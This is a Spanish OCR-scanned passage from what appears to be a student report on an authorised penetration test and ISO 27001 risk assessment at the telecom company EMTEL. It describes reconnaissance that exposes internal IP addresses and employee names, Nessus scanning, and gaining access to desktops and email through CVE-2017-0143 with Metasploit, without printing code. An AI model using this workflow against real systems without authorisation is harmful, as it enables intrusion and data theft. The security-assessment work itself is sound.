+ Servidor de contact center

+/ 2 computadores de escritorio de la oficina de Tl

+ 1 computadores de escritorio de la oficina de juridica
+ 1 computadores de escritorio de Tesoreria

« 1 computadores de escritorio de Contabilidad.

e Alcance: Se realizaran pruebas de efectividad (pruebas de concepto) sobre
algunos de los computadores, sistemas de informacién criticos y servidores
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del proceso de Tl de la Empresa de Telecomunicaciones de Popayan S.A
EMTEL E. S.P, con el objetivo de detectar vulnerabilidades de seguridad que
puedan exponer la confidencialidad, integridad y disponibilidad de Ila
informacion que se encuentra alojada en cada uno de ellos.

e Horario: Debido a que la informacion alojada en los servidores mencionados
es de gran importancia para la empresa y que la ejecucion de este tipo de
pruebas puede llegar a ocasionar inconvenientes en la disponibilidad del
servicio, las pruebas se realizaran en horarios previamente acordados con el
personal encargado para que no generen ningun tipo de interrupcién en los
procesos que soportan los sistemas de informacion

e Direcciones IP objetivo: Por motivos de confidencialidad las direcciones IP
de los servidores no serdn mostradas en este documento.

+ Servidor open flexis: _
+/ Servidor de contact center:_

+/ Computador de escritorio oficina de TI: 192.168.2.155

+/ Computador de escritorio oficina de TI: 192.168.1.160

« Computador de escritorio oficina de juridica: 192.168.2.60
« Computador de escritorio Tesoreria: 192.168.2.119

+/ Computador de escritorio Contabilidad: 192.168.2.106

e Acciones posteriores a acceso: las acciones posteriores después del
acceso dependeran del activo que se esté evaluando, ya que como se ha
mencionado la empresa no cuenta con servidores de respaldo que puedan
ser utilizados en el caso en que se presente una eventualidad, razén por la
cual se evaluara dependiendo del activo si es conveniente realizar una
explotacion de las vulnerabilidades encontradas.

e Fecha de inicio y de finalizacién de las pruebas: 1 de octubre — 30 de
octubre del 2020.

2. Reconocimiento del objetivo

Esta fase tiene por objetivo obtener tanta informacion del objetivo como sea posible
para poder ser empleada en las fases de evaluacion de vulnerabilidades y la fase
de explotacion [16].

Para realizar este levantamiento de informacion se pueden utilizar tres métodos
(enfocado a los sistemas de informacion).

Pasivo: Este método aplica si la recoleccidn de la informacion no implica acceder a
ningun sistema de la entidad o generar trafico que pueda ser detectado por alguno
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de sus sistemas. Generalmente es informacién que esta disponible en otros sitios y
puede estar desactualizada, sin embargo, puede llegar a ser util [16].

Semi-pasivo: Se apunta hacia los sistemas de la entidad, simulando ser trafico
normal proveniente de internet, sin emplear ningiin método que pueda considerarse
sospechoso por parte de los sistemas, es “camuflar el trafico”. Como por ejemplo
consultas DNS simples para verificar los servidores publicos [16].

Activo: Este método de obtencién de informacién es el mas propenso a ser
detectado por los sistemas de deteccion y monitoreo, comprenden actividades como
[16]:

+ Escaneo de puertos.
+/ Andlisis de vulnerabilidad a puertos abiertos

+/ Blsqueda de directorios, archivos o servidores adicionales que no estén
publicamente disponibles.

En relaciéon a lo anterior para realizar estas pruebas se hizo uso de Kali Linux, ver
figura 3.11, la cual es una distribucién basada en Debian GNU/Linux disefiada
principalmente para auditoria y seguridad informética en general [37].

Figura 3.11 Kali Linux

Kali Linux dispone de una gran variedad de herramientas software disefiadas para
la implementacion de cada fase de las pruebas de efectividad, a continuacién, con
el desarrollo de cada prueba se hara una breve descripcién de las herramientas
utilizadas.

Para la fase del levantamiento de informacién en primera instancia se hizo uso de
Nmap, la cual es una herramienta de escaneo de puertos y descubrimientos de host
gue permite establecer para cada activo el estado de los puertos (abierto, cerrado),
el servicio y version que corre en cada uno y el sistema operativo de los activos de
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informacion evaluados [38], esto con el propésito de establecer algunas de las
vulnerabilidades comunes que afectan especificamente a una version de un servicio
o0 sistema operativo, en el anexo E se muestran los resultados obtenidos para cada
activo.

Posteriormente se hizo uso de FOCA (Fingerprinting Organizations with Collected
Archives), la cual es una herramienta utilizada principalmente para encontrar
metadatos e informacién oculta en los documentos que examina, para el caso de
EMTEL, especificamente los documentos analizados fueron descargados de su de
su pagina web y los resultados obtenidos se muestran a continuacion:

@ FOCA Open Source 2.4.6.1 — O >
B project g Plugins XX Options B Tasklist P Abour 9
=~ Project Name
[ MNetwork
Jn Domains
& oca
OPENSOURCE
Select project [emtet ~]
Project name [Projiect Name |
Domain website [ emtel.com |
Altemative demains | |
Folder where to save documents [cUsers Usuario AppDataLocal Ter |
Project date [miercoles. 14 de octubre de 2020 @~ |
Project notes | |
Create Import @ Cancel
Time Source Severity Message
A, Settings [L] Deactivate AutaScrol 7 Clear B Save log to File
@ Project of www.emtel.com.co - FOCA Open Source 3.4.6.1 — m} x

B Project * Plugins * Opticns E TaskList o About !

=@ Project of www emtel.com.co

(- Network Attribute Value
g" Domains All printers found (5) - Times found
=-10 Metadata . " .
210 Documents (133/145) Printer Name Microsoft Print to PDF
H docx (4) Printer Name CutePDF Writer
= pdf (121) Printer Name WW192.168.2.168%EPSON L365 Ser
_J xls (3) Printer Name \%152.168.2. 168“EPSON L365 Ser
- s (2) Prirter Name \\192.168.2.168\EPSON L365 Ser

-, Unknown (3)
El-ghe Metadata Summary
#& Users (58)
W Folders (62)
----- 5
----- O Software (114}
----- Emails (2)
----- &7 Operating Systems (3)
----- or Passwords (0)
----- = Servers {0)

Figura 3.13 Resultados de la prueba sobre el dominio www.emtel.com.co
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Q Project of www.emtel.com.co - FOCA Open Scurce 3.4.6.1 — O
B Project * Plugins ¢ Options E TaskList o About !

=) Project of www emtel.com.co
+1-[J Network Atribute Value
3 Z\- Domaing Name Ricardo Becera Boras
= D ﬁaadeda Name avanegas.dpr.sto
=10 Dncument.s (133/145) Name Emtel
1] .docx {4)
= pdf (121) MName avanegas.dpr.sto
17 s 3 MName avanegas.dpr.sto
L E-E] xdex () MName Martha Comedor
. Unknown (3} MName Jorge Heman Gomez Timana
= Metadata Summary MName Juan David Valenzuela Ramos
= MName avanegas.dpr.sto
E Fo.lders (62) MName Jorge Heman Gomez Timana
3 gg‘z:ﬁl% 14 MName laura daniela ortiz
Emails (2) Name laura daniela ortiz
™ Operating Systems (3) Mame Departamento Administrativo de la Funci?n P7blica
o Passwords {0} MName Telematical2
L= Servers (D) Name ibA
Name Avance Juridico Casa Editonial Ltda
Mame avanegas.dpr.sto
MName Agented
Name RUBEN_DARIO

Figura 3.14 Resultados de la prueba sobre el dominio www.emtel.com.co
Como se observa en la figura 3.13 y 3.14, con esta herramienta fue posible obtener
informacion de algunos nombres de empleados, correos electrénicos y direcciones
IP de equipos pertenecientes a la empresa, este tipo de informacion puede ser
utilizada por un atacante para obtener o robar informacion mediante técnicas de
ingenieria social como el phishing

3. Modelado de amenazas

Esta fase maneja la relacion atacante vs activo, es decir, el atacante que beneficio
puede obtener si logra su objetivo de penetrar el sistema y modificar, borrar, copiar
o destruir algun activo de informacion [16].

En resumen, esta fase se centra en realizar un analisis desde 2 frentes:
Enfocado en la entidad

Este analisis busca resolver la incognita “Que pasa si”, por ejemplo, qué pasa si se
divulga la informacion de mis sistemas de informacién, ¢Se vulnera la
confidencialidad?, ¢Qué probabilidad existe de que este evento se materialice?,
¢, Qué impacto tendria dicha divulgacion? [16].

Como ya se menciond las pruebas que se van a realizar son sobre algunos
servidores, y equipos de computo criticos para la empresa, en ese sentido si se
llegara a vulnerar alguno de ellos, se podria acceder a informacién confidencial de
los clientes de la empresa como nombre, cédula, direccion, tipo de suscripcion, etc.,
de igual manera también se vulneraria la confidencialidad de la informacién
financiera y legal de la empresa.

Enfocado en el atacante

Identificar los posibles agentes o grupos que podrian llegar a perpetrar algun tipo
de ataque hacia la entidad [16].
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Un posible atacante podria ser un empleado descontento, malintencionado,
negligente o que fue despedido por la empresa.

4. Evaluacion de vulnerabilidades

Es el proceso de descubrir falencias en los sistemas y aplicaciones que pueden
llegar a ser aprovechados por un atacante [16].

Dichas falencias pueden ser descubiertas a nivel del host o en la administracién o
configuracion o disefio del mismo. Dependiendo de la amplitud de los alcances
propuestos, el andlisis de vulnerabilidad puede variar desde analizar un servicio o
host especifico o a un inventario completo de maquinas. Estos procesos de analisis
pueden ejecutarse también de dos maneras [16]:

Andlisis activo: El analisis activo involucra tener un contacto directo con el objetivo
a probar. Puede hacerse de manera automatica o de manera manual bajo diversas
actividades conjuntas [16] .

Analisis pasivo: Este analisis implica métodos como analisis de metadatos en
archivos publicados en internet, que pueden contener informacion sobre el tipo de
servidor, nombres de dominio, direccionamiento IP, etc. También incluye el
monitoreo de trafico o copiado de trafico (espejo de puertos) para capturay posterior
analisis [16].

Para realizar estas pruebas se hara uso de las siguientes herramientas

NESSUS: Es una herramienta software que permite identificar vulnerabilidades
presentes en diversos sistemas operativos [39], este escaner de vulnerabilidades
clasifica dichas vulnerabilidades de acuerdo al sistema de puntaje CVSS, el cual
esta disefiado para proveer un método abierto y estandar que permite estimar el
impacto derivado de vulnerabilidades identificadas en tecnologias de la informacion,
es decir contribuye a cuantificar la severidad que pueden representar dichas
vulnerabilidades como se muestra a continuacion:

Tabla 3.19 Clasificacion de vulnerabilidades

CLASIFICACION DE VULNERABILIDADES

Alta Media

« Vulnerabilidad Critica: se trata de vulnerabilidades cuyos métodos de
aprovechamiento son ampliamente conocidos y su impacto es muy alto o
catastrofico.

+ Vulnerabilidad Alta: Este tipo de vulnerabilidad es capaz de poner en riesgo
la confidencialidad, integridad o disponibilidad de los datos de los usuarios
y/o la organizacién, como asi también, la integridad o disponibilidad de los
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recursos de procesamiento que este disponga. De igual forma se tratan de
vulnerabilidades con métodos de aprovechamiento ampliamente conocidos.
v Vulnerabilidad Media: Este es uno de los tipos de vulnerabilidades mas
sencillas de combatir, ya que el riesgo que representan se puede disminuir
con medidas tales como configuraciones predeterminadas, auditorias y
demas. Aparte, las vulnerabilidades medias no son aprovechadas en todo su
potencial ya que no afecta a un gran ndmero de usuarios.
Complementariamente se tratan de vulnerabilidades cuyo mecanismo de
aprovechamiento no son ampliamente conocidos o son complejos y dada su
potencial materializacion tendria un impacto medio para la organizacion.

« Vulnerabilidad Baja: Este tipo de vulnerabilidad es realmente muy dificil de
aprovechar por un atacante, y su impacto es minimo, ya que no afecta a una
gran masa de usuarios.

« Vulnerabilidad Info: Este tipo de vulnerabilidad es realmente informacion
respecto al escaneo que se realice, su impacto es minimo, sin embargo,
puede dar informacién validacion para complementar las vulnerabilidades
con riesgos mas altos.

NIKTO: Es un escaner de servidor web de cédigo abierto (GPL) y de uso gratuito
que realiza un escaneo de vulnerabilidades en servidores web en busca de mdltiples
elementos, incluidos archivos y programas peligrosos, y busca versiones
desactualizadas del software del servidor web. También comprueba si hay errores
de configuracion del servidor y las posibles vulnerabilidades que puedan haber
introducido [40].

BURPSUITE: Es una herramienta fundamental dentro de la seguridad informatica,
creada por la empresa PortSwigger y escrita en Java que permite realizar pruebas
de seguridad de aplicaciones web, entre sus principales funcionalidades se
encuentra el servidor proxy que permite inspeccionar y modificar el trafico haciendo
de intermediario entre el navegador y la aplicacion destino, el escaner de
vulnerabilidades que automatiza la deteccion de varios tipos de vulnerabilidades de
aplicaciones web, el repetidor que se utiliza para modificar y reenviar solicitudes
individuales al servidor, entre otras [41].

OWAPS ZAP: Herramienta de cédigo abierto utilizada para monitorear la seguridad
de aplicaciones web y determinar las causas que hacen que un software sea
inseguro, dentro de sus funcionalidades se encuentran [42]:

e Posibilidad de comprobar todas las peticiones y respuestas entre cliente y
servidor.
Analisis automaticos.
Analisis pasivos.
Posibilidad de lanzar varios ataques a la vez.
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e Capacidad para utilizar certificados SSL dindmicos

Desarrollo de las pruebas

Para iniciar con las pruebas de esta fase se instalé la herramienta Nessus en su
version gratuita (Nessus essentials) en Kali Linux como se muestra en la figura 3.15
y 3.16, esta versidn es apta para educadores y estudiantes que inician con sus
carreras en ciberseguridad, en el anexo F se muestran los resultados de los
escaneos avanzados realizados a cada uno de los activos evaluados.

nessus

Essentials

Sign In

Kali Training s Kali Forums NetHunter [ Offe y Exploit-DB GHDB || MSFU

New Scan / Advanced Scan

< Back to Scan Templates

L]
=
kS
)

Settings Credentials Plugins

= B
S
w

BASIC -
General Name

Schedule

o +]
g
)
3

Notifications
DISCOVERY

Community ASSESSMENT Folder My Scans -

Q@ 2

Research REPORT

Targets
ADVANCED

Tenable News

Nagios XI Multiple
Vulnerabilities

Upload Targets Add File

Read More

Figura 3.16 Configuracion escaner de vulnerabilidades

Posteriormente con los resultados obtenidos se realiza un andlisis de las
vulnerabilidades criticas y altas presentes en cada uno de los activos evaluados, ver
Anexo G y de igual manera en este mismo anexo se muestran los resultados de las
pruebas realizadas sobre la aplicacion Contac center, las cuales fueron
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desarrolladas utilizando herramientas software disefiadas especificamente para
pruebas de concepto en aplicaciones web.

5. Explotacion

Esta fase se centra en obtener acceso al sistema, apalancandose de las debilidades
identificadas en la fase anterior o sobrepasando los controles de seguridad
existentes. Una vez se logre el objetivo de ingreso, se debera documentar los
hallazgos de una manera evidente y concreta para utilizar la informacion como
herramienta de mejora [16].

En la fase anterior a través de algunas pruebas se obtuvo acceso a la aplicacion
web Contac center y se documentaron los hallazgos obtenidos en cada prueba,
respecto al servidor open flexis se decidié por parte de la empresa no realizar
pruebas de explotacion debido a que no se cuenta con un servidor de respaldo que
pueda ser utilizado en caso de una eventualidad y la aplicacién se utiliza 24/7, en
ese sentido estas pruebas se centraran en obtener acceso a los equipos de codmputo
apalancandose de las vulnerabilidades encontradas.

Desarrollo de las pruebas:

De acuerdo con la informacién obtenida en las fases de reconocimiento del objetivo
y evaluacién de vulnerabilidades, se procede a realizar la explotacién de algunas
vulnerabilidades haciendo uso de la herramienta Metasploit la cual permite
desarrollar y ejecutar cédigo de explotacion contra una maquina de destino remoto
ver anexo H.

En relacién a los resultados obtenidos se concluye que la vulnerabilidad CVE: 2017-
0143 fue explotable en todos los hosts objetivos, logrando de esta manera tener
acceso a cada uno de ellos.

6. Post-explotaciéon

Una vez se encuentra comprometido el sistema o host (fase anterior), se procedera
a identificar qué tipo de informacién puede obtenerse, a que otros sistemas de
informacion se puede ingresar desde el sistema capturado, identificar opciones de
configuracion, informacién de red (direccionamiento IP de VLAN, servidores
vecinos, direcciones fisicas, etc.), todo esto con el objetivo principal de determinar
el valor de la maquina para la organizacion [16].

Es importante tener en cuenta que a este punto ya se vulneré el sistema y no es
necesario dafarlo o desestabilizarlo gravemente (a menos que el plan desde el
principio asi lo indique).

Al tener acceso a los computadores de escritorio se tuvo control de cada uno de
ellos, logrando acceder a informacion confidencial de la empresa como: correos
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electrénicos, base de datos de contratos e informacion de la aplicacién apoteosys
como se muestra en las siguientes figuras:
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Figura 3.17 correo electrénico sistemas@emtel.com.co
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7. Reporte

Es necesario documentar todos los resultados obtenidos en cada fase, para tener
soportes de las labores realizadas y a su vez la respectiva justificacion de los
resultados finales [16].

En las fases anteriores se documentaron cada una de las pruebas realizadas con
los resultados obtenidos, a continuacion, en la figura 3.20 se muestra de manera
resumida la cantidad de vulnerabilidades encontradas en los diferentes activos de
informacion de acuerdo a su nivel de severidad, la gran mayoria se clasifican en
vulnerabilidades medias, lo que implica que muchas de ellas se pueden combatir
mejorando la configuracién del activo.

VULNERABILIDADES ENCONTRADAS
SEGUN SU SEVERIDAD

()]

a
~N

N

Critica Alta Moderada Baja

Figura 3.20 Vulnerabilidades encontradas segun su severidad

Asi mismo se puede evidenciar que las principales vulnerabilidades encontradas en
estos activos de informacion se debieron a:

e Sistemas operativos de equipos de computo y servidores con versiones muy
antiguas y vulnerables

Ausencia de parches de seguridad en los equipos y servidores de la empresa
Sistemas operativos sin hardening adecuado

Contrasefias débiles o faciles de adivinar

Servicios activos en computadores y servidores que ponen en peligro la
seguridad de la informacion de la empresa

Por lo que se recomienda de manera general que la oficina de Tecnologias de la
Informacion:
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Mantenga actualizado los parches de seguridad

Instale antivirus en todos los equipos de la empresa

Realice copias de seguridad de la informacién importante.
Cree contrasefas seguras

Use datos cifrados siempre que sea posible

Cierre puertos que estén fuera de uso

Restrinja la instalacion de software por parte de los usuarios
Configure el acceso remoto a través de una VPN
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3.6.2 Estimacidn del riesgo

Una vez identificado las amenazas y vulnerabilidades asociadas a los activos de
informacion criticos de la empresa se estableceran los posibles riesgos y
consecuencias relacionados a cada uno de estos, el riesgo es una combinacion de
las consecuencias que se presentarian después de la ocurrencia de un evento
indeseado y de su probabilidad de ocurrencia [35].

La estimacién del riesgo utiliza un conjunto de métricas con valores tanto para el
impacto como para la probabilidad, como se muestran a continuacion:

3.6.2.1 Criterios para valoracién de probabilidad

Por probabilidad se entiende la posibilidad de ocurrencia del riesgo; esta puede ser
medida con criterios de frecuencia o factibilidad, donde frecuencia implica analizar
el nimero de eventos en un periodo determinado, se trata de hechos que se han
materializado o se cuenta con un historial de situaciones o eventos asociados al
riesgo; factibilidad implica analizar la presencia de factores internos y externos que
puedan propiciar el riesgo, se trata en este caso de un hecho que no se ha
presentado pero es posible que suceda, en la tabla 3.20 se muestran los niveles de
probabilidad bajo el criterio de frecuencia que se tendran en cuenta para la
valoracion del riesgo [43].

Tabla 3.20 Criterios para valoracion de probabilidad

‘ CRITERIOS DE PROBABILIDAD

\ NIVEL DESCRIPTOR \ DESCRIPCION FRECUENCIA
. Se espera que el evento ocurra en . ~
5 casi seguro . . : Mas de 1 vez al afio.
la mayoria de las circunstancias
Es viable que el evento ocurra en Al menos 1 vez en el
4 Probable . ; : o ~
la mayoria de las circunstancias. ultimo afio.
. . , Al menos 1 vez en
3 Posible El evento podra ocurrir en algin los
momento - ~
ultimos 2 afios
, , Al menos 1 vez en
El evento puede ocurrir en algin
2 Improbable los
momento - ~
ultimos 5 afios
El evento puede ocurrir solo en No se ha presentado
1 Rara vez circunstancias excepcionales (poco en
comunes o anormales). los dltimos 5 afos.
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3.6.2.2 Criterios para valoracién de impacto

Por impacto se entiende las consecuencias que puede ocasionar a la empresa la
materializacion del riesgo, en la tabla 3.21 se muestra los niveles de clasificacion de
impacto de acuerdo al efecto que causaria un evento no deseado en la empresa
[43].

Tabla 3.21 Criterios para valoracion de impacto

CONTINUIDAD
FINANCIERO IMAGEN LEGAL
OPERATIVA
Emisién de
La pérdida de ingresos resoluciones
Descriptor NIVEL directa y los costos u Tiempo en que se ve Afectacion sobre la | administrativas
otros gastos | afectada la operacion | imagen y | y/o judiciales por
financieros indirectos | de los procesos de la reputacion de la | el incumplimiento
que se generarian | Institucion. Institucion. de normas,
para la Institucion. regulaciones u
obligaciones.
En caso de
En caso de
presentarse, la resentarse
empresa no tendria | En caso de | P g '
consecuencias presentarse el tendria En caso de
L e ’ consecuencias 0 | presentarse, la
Insignificante economicas que | proceso de la empresa N
. . efectos sobre un | organizacion
impacten el | no se veria afectado en .
: . Co grupo de | tendria multas.
funcionamiento, por | su continuidad. . .
tanto, se asumiran las funcionarios de
N manera interna.
perdidas.
En caso de | En caso de
En caso de
presentarse, el | presentarse, En caso de
presentarse, la . .
. . proceso de la empresa | tendria un impacto | presentarse, la
Menor empresa tendria bajas . .

. se veria afectado en su | leve en la empresa | empresa tendria
consecuencias continuidad de manera | que seria reparable | demandas
economicas. . 9 P :

minima. a corto plazo
En caso de | En caso de | En caso de | En caso de
presentarse, la | presentarse, el | presentarse, presentarse, la

Moderado 3 empresa tendria | proceso de la se veria | tendria un impacto | organizacion

medianas afectado en su | medio en la | tendria una
consecuencias continuidad de manera | Institucion de | investigacion
econdmicas. moderada. manera local. disciplinaria.

Si el hecho llegara a En caso de
En caso de En caso de

presentarse, el presentarse, la

Mayor 4 presentarse, la presentarse, T

Organizacién tendria proceso de la tendria un impacto organizacion

Institucion se veria tendria una
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Catastrofico

altas consecuencias | afectado en su | alto en la Institucion | investigacion
econdmicas. continuidad de manera | a nivel gremial. fiscal.
considerable
interrumpiendo
periédicamente el
proceso y otros.
En caso de
En caso de | En caso de
En caso de resentarse el | presentarse presentarse, la
presentarse, la|P : prese : organizacién
o - | proceso de la | tendria un impacto . .
Organizaciéon tendria . . e tendria sanciones
nefastas Organizacién se veria catast(oflc_o en la legales Podria
. afectado en su | Organizacion a ) :
consecuencias continuidad de manera | nivel nacional/ | 9€herar el cierre
econdmicas. definitvo de la

total.

internacional.

Institucion.

3.6.2.3 Niveles de estimacion de riesgo

Para la estimacion del riesgo como ya se mencion6 el MSPI propone la guia N.° 7
Gestion del riesgo, la cual presenta una metodologia cualitativa en la que se califica
los riesgos con los niveles de impacto y probabilidad establecidos anteriormente, la
tabla 3.22 matriz de calificacion y evaluacion del riesgo, indica la probabilidad frente
al impacto presentado en un escenario de incidente, el riesgo resultante esta
dividido en cuatro zonas: zona de riego baja, zona de riesgo moderado, zona de
riesgo alto y zona de riesgo extrema y para cada una se presenta las posibles
formas de tratamiento que se le puede dar [35].

PROBABILIDAD - Menor
Insignificante (1) >

Raro (1)

Improbable (2)

Posible (3)

Probable (4)

Casi Seguro (5)

IMPACTO
Moderado (3)

Tabla 3.22 Matriz de calificacion, evaluacién y respuesta al riesgo

Catastrofico
4 5

En el Anexo I, se muestran los riesgos asociados a cada uno de los activos de
informacion criticos del proceso de TI, con su respectiva estimacion.

El nivel de estimacion del riesgo en términos de probabilidad e impacto para la
Empresa de Telecomunicaciones de Popayan S.A EMTEL E.S.P, permitio
establecer que:
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Del total de los 101 riesgos evaluados, 7 corresponden a riesgos con clasificacion
baja, 13 moderada, 54 alta y 27 extrema como se observa en la figura 3.21, por lo
cual se puede afirmar que el 80% de los riesgos evaluados corresponden a riesgos
criticos, lo que implica que es muy probable que estos riesgos se materialicen o que
el impacto generado por ellos traigan consigo afectaciones mayores para la
empresa, en ese sentido resulta de gran importancia tomar acciones contundentes
gue permitan mitigar o reducir el riesgo al que estan expuestos los activos de
informacion del proceso de TI.

Clasificacion del Riesgo

B Riesgo con clasificacion Baja ORiesgo con clasificacion Moderada
O Riesgo con clasificacion Alta B Riesgo con calsificacion Extrema

Figura 3.21 Porcentaje de clasificacion del riesgo
3.6.3 Evaluacién del riesgo

La evaluacion del riesgo corresponde al proceso de comparar los resultados del
analisis del riesgo con criterios de riesgos para determinar si el nivel del riesgo y/o
magnitud es aceptable o tolerable, en la tabla 3.23 se describen los diferentes
niveles del riesgo y para cada uno se presenta las posibles formas de tratamiento
gue se le pueden dar.

Tabla 3.23 Respuesta al riesgo de acuerdo al nivel en el que se encuentra

NIVEL DEL | RESPUESTA A LOS

RIESGO RIESGOS DESCRIPCION

El nivel del riesgo es aceptable y se encuentra controlado
por la empresa Los riesgos en este nivel se deben revisar
periédicamente

El nivel del riesgo es moderado de acuerdo con los
criterios de aceptacion de la empresa

ACEPTAR EL

BAJO RIESGO
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El nivel del riesgo es alto, por lo que es necesario
implementar controles en la empresa para mitigar, evitar
o compartir el riesgo y llevarlo a niveles de aceptacion

MITIGAR EL RIESGO,
EVITAR, COMPARTIR

El nivel del riesgo es Extremo, por lo que es necesario
implementar controles en la empresa para mitigar, evitar
o0 compartir el riesgo y llevarlo a niveles de aceptacion

MITIGAR EL RIESGO,
EVITAR, COMPARTIR

EXTREMO

En relacion a lo anterior y de acuerdo con el andlisis del riesgo, la postura de la
empresa frente al tema es asumir los riesgos que se encuentran en zona baja y
moderada e implementar controles que permitan mitigar los riesgos de la zona alta
y extrema.

3.7 TRATAMIENTO DEL RIESGO

Mediante el plan de tratamiento del riesgo se busca definir posibles acciones que
permitan mitigar los riesgos presentes en los activos de informacion del proceso de
TI, esto con el fin de evitar situaciones que impidan el cumplimiento de los objetivos
de la empresa, en ese sentido de acuerdo a la norma ISO 27005 existen cuatro
opciones para el tratamiento del riesgo [36], como se puede evidenciar en la figura
3.22.

Aceptar el Riesgo Reducir el Riesgo

Se adoptan medidas para reducir la
probabilidad o el impacto del
riesgo, o ambos; Por lo general
conlleva a la implementacién de
controles

No se adopta ninguna medida
que afecte la probabilidad o el

impacto del riesgo.

TRATAMIENTO DEL
RIESGO

Evitar el Iiiesgo Comi)artir el Riesgo

Se abandonan las actividades Se reduce la probabilidad o el
que dan lugar al riesgo, es decir impacto del riesgo transfiriendo

no iniciar 0 no continuar con la 0 compartiendo una parte de
actividad que lo provoca. este.

Figura 3.22 Tratamiento del riesgo
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De acuerdo a lo anterior, en el anexo J se muestran los controles seleccionados de
la norma 1SO 27001 que permitiran reducir los riesgos criticos en la empresa.

Como resultado de la fase anterior, en la figura 3.23 se puede apreciar la cantidad
de controles seleccionados por cada dominio de la norma ISO 27001, el dominio
con mayor escogencia de controles fue seguridad de las operaciones, debido a que
los riesgos clasificados como extremos y altos son principalmente causados por la
ausencia de mecanismos que permitan asegurar la correcta operaciéon de las
instalaciones de procesamiento de informacion.

CANTIDAD DE CONTROLES SELECCIONADOS POR DOMINIO

A.17 ASPECTOS DE SEGURIDAD DE LA INFORMACION DE
LA GESTION DE CONTINUIDAD DE NEGOCIO
A.16 GESTION DE INCIDENTES Y MEJORAS EN LA
SEGURIDAD DE LA INFORMACION
A.11 SEGURIDAD FiSICA Y DEL ENTORNO -
A.10 CRIPTOGRAFIA
A.9 CONTROL DE ACCESO
A.8 GESTION DE ACTIVOS
A.7 SEGURIDAD DE LOS RECURSOS HUMANOS

5 10 15

o

Figura 3.23 Controles seleccionados por dominio de la norma ISO 27001

3.8 DECLARACION DE APLICABILIDAD

La Declaracién de Aplicabilidad, por sus siglas en ingles Statement of Applicability
(SoA), es un elemento fundamental para la implementacion del Modelo de
Seguridad y Privacidad de la Informacién, en esta se en listan los controles de
seguridad del Anexo A de la norma ISO/IEC 27001 con el proposito de establecer
los objetivos y las medidas de seguridad que se deben implementar en una empresa
[44], en la tabla 3.24 se muestran los items del formato de declaracion de
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aplicabilidad adoptado por la Empresa de Telecomunicaciones de Popayan S.A
EMTEL E.S.P con su respectiva descripcion, de igual manera es preciso mencionar
gue en esta también se incluyo el plan de tratamiento de riesgos mediante el cual
se establecieron los responsables y las actividades necesarias para la
implementacién de cada control.

Tabla 3.24 Formato de declaracién de aplicabilidad

\ ITEM DESCRIPCION
Dominio Dominio de la norma ISO/IEC 27001
Objetivo Objetivo del dominio
Control Descripcion del control

Controles que la empresa ya ha implementado o que se han
implementado en el transcurso de esta practica profesional
SlI: Si no aplicable a la empresa

NO: Si es aplicable a la empresa

Justificacion de Exclusién | Justificacién porque se esta excluyendo el control

Controles

Excluido

Criterios para la seleccion del controles

LR: Requerimientos Legales,

Justificacion de Inclusién | CO: Obligaciones Contractuales,

BR/BP: Requerimientos del negocio/Mejores practicas,
RRA: Resultado de Analisis de Riesgos

Actividad: Actividades necesarias que se deben realizar
para implementacion del control.

Responsable: Persona encargada de que se implemente el
control en la empresa.

Tratamiento del riesgo

En el anexo K se muestra la declaraciéon de aplicabilidad para la Empresa de
Telecomunicaciones de Popayan S.A EMTEL E.S.P, la cual fue debidamente
revisada y aprobada por la subgerente, en la figura 3.24 se puede apreciar que de
los 114 controles propuestos en la norma ISO/IEC 27001, la empresa se ha
comprometido con la implementacién de 60, equivalente al 53% del total, en ese
sentido es importante mencionar que algunos de los controles derivados del andlisis
del riesgo no seran adoptados por la empresa debido a que no se cuentan con los
recursos econémicos necesarios para llevar acabo su implementacion, asi mismo
también es de resaltar que con el desarrollo de esta practica profesional se logro la
implementacion de algunos de los controles que se encuentran enmarcados en esta
declaracién de aplicabilidad.
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CONTROLES SELECCIONADOS PARA EMTELS.AE.S.P DE
ACUERDO AL SOA

TOTAL

RESULTADO DE ANALISIS DEL RIESGO

REQUERIMIENTOS DEL NEGOCIO/MEJORES PRACTICAS

OBLIGACIONES CONTRACTUALES

o I
q E

REQUISITOS LEGALES

0 10 20 30 40 50 60 70

Figura 3.24 Controles seleccionados para EMTEL S.A E.S.P de acuerdo al SOA
3.9 POLITICAS DE SEGURIDAD DE LA INFORMACION

Las Politicas de Seguridad de la Informacion son fundamentales en la
implementacion del MSPI, ya que son ellas quienes guian el comportamiento de los
empleados sobre la informacion obtenida, generada o procesada por una empresa,
asi mismo permiten que una empresa trabaje bajo las mejores précticas de
seguridad y cumpla con los requisitos legales a los cuales esta obligada.

En ese sentido con la adopcion de las politicas de seguridad de la informacion la
Empresa de Telecomunicaciones de Popayan S.A EMTEL E.S.P, busca reducir el
riesgo de que en forma accidental o intencional se divulgue, modifique, o destruya
informacion de la empresa, garantizando de esta manera la confidencialidad,
integridad y disponibilidad de la misma.

Para la elaboracion de las politicas de seguridad, se siguieron los lineamientos
propuestos en la guia N° 2 del MSPI denominada politica general del Modelo de
Seguridad y Privacidad de la Informacién y los de la norma ISO/IEC 27002, los
cuales establecen que :

e Las politicas de seguridad de la informacion deben definir la postura de la
direccion con respecto a la necesidad de proteger la informacién de la
empresa.

e Orientar a los empleados con respecto al uso de los recursos de informacién

e Definir la base para la estructura de seguridad de la organizacion

e Ser un documento de apoyo a la gestion de Tl y Seguridad Informatica
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Deben abarcar a toda la organizacién

Deben ser de larga vigencia, manteniéndose sin grandes cambios en el
tiempo.

Deben ser claras y evitar confusiones o interpretaciones

Deben permitir clasificar la informacion en confidencial, uso interno y publica.

Asi mismo la guia N°2 del MInTIC define un esquema para la elaboracion de
politicas de seguridad de la informacién, constituido de la siguiente manera:

Introduccién: En qué consistira la politica y su importancia

Objetivo: Que se desea lograr con la politica

Alcance: Quienes deben cumplir la politica

Definiciones: Aclaracion de términos utilizados en la elaboracién de la politica.
Documentos de referencia: Documentos guias para la elaboracion de la politica.

Marco legal: Normatividad vigente que le aplica a empresa en relacién a seguridad
de la informacion

Politica: Conjunto de directrices que permitiran resguardar y proteger los activos de
informacion de la empresa.

Responsabilidades: Que debe y no debe hacer cada uno de los empleados de la
empresa

Anexos: Documentos complementarios (Procedimientos, guias, formatos).

Siguiendo el esquema anterior para la elaboracion de las politicas de seguridad de
la informacion y de acuerdo a la declaracion de aplicabilidad, a continuacion se
mencionan las politicas de seguridad de la informacion que se implementaron en la
empresa:

Politica de Seguridad de la Informacién
Politica Organizacién de la Informacion
Politica de dispositivos moviles

Politica gestidon de activos

Politica control de acceso

Politica copias de respaldo

Politica de proteccién de datos personales
Politica de escritorio y pantalla limpia

Politica prohibicion de software no autorizado
